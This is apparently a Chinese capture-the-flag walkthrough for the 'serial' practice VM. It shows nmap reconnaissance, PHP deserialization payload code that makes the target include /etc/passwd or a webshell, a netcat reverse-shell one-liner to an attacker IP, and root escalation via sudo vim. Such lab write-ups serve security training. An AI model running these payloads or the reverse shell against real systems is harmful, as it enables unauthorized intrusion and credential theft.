反序列化靶机serial

1.创建虚拟机

2.渗透测试过程

探测主机存活(目标主机IP地址)

使用nmap探测主机存活或者使用Kali里的netdicover进行探测

-PS/-PA/-PU/-PY:这些参数即可以探测主机存活,也可以同时进行端口扫描。(例如:-PS,发送TCP SYN包进行主机探测

访问

首先访问80端口 F12查看源代码,那我们查看cookie

复制代码
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
o:代表存储的是对象(object),如果传入的是一个数组,那它会变成字母a。
4:表示对象的名称有4个字符。User表示对象名称,刚好是4个字符。
2:表示有2个值
s:表示字符串,数字表示字符串的长度,s:10:" User name";

使用工具进行扫描,这里扫到一个/backup/目录

打开查看,是一个zip文件,下载查看,是三个源代码文件

通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出

构造payload

复制代码
<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

抓包

Get shell

生成一个shell 放在www下9.txt

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

复制代码
<?php
  class Log {
    private $type_log = "/etc/passwd";
  }
 
  class User {
    private $name = "admin";
    private $wel;
 
    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

改为本机的www下的

将生成的64编码放到重放器中

输入 rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.87.128+7777+>/tmp/f

kali监听成功

查看文件,多返回几次上级目录,找到一个txt文件

查看,得到账号密码

远程连接 成功进入

尝试提权,试试sudo vim,进入到命令模式输入!bash

提权成功

相关推荐
0+11140 分钟前
Linux --从 poll 到 epoll多路转接
linux·服务器·1024程序员节
青瓦梦滋1 小时前
WebSocket协议
linux·服务器·网络·c++·websocket·网络协议·http
桌面运维家1 小时前
旧电脑跑不动课程软件,VDI云桌面怎样接着用?
运维·服务器·虚拟化·pve·vdi·云桌面
zhang133830890752 小时前
传统机械三杯式风速传感器易磨损冻堵?CG-88金属超声波风速风向传感器给出免运维方案
运维·服务器·网络·人工智能·自动化
知已难寻2 小时前
第 2 篇 · 云的地基:服务器、存储、网络三大基础设施
运维·服务器·网络·云原生·云计算·负载均衡·1024程序员节
IpdataCloud3 小时前
批量查IP的API接口怎么选?免费API配额瓶颈与离线库本地批量方案实测
网络·网络协议·tcp/ip
2601_949847754 小时前
bcrypt.js 跨端三方库仓颉适配全流程
linux·运维·ubuntu
m0_639906944 小时前
Linux 操作系统入门:目录结构、服务排查常用命令、Shell 脚本基础
linux·运维·后端
今天重构了吗5 小时前
Linux 上 rm -rf 删错了能找回吗
运维·服务器
KaiwuDB5 小时前
KaiwuDB 分布式集群扩缩容,从原理到完整操作踩坑总结
运维·数据库·分布式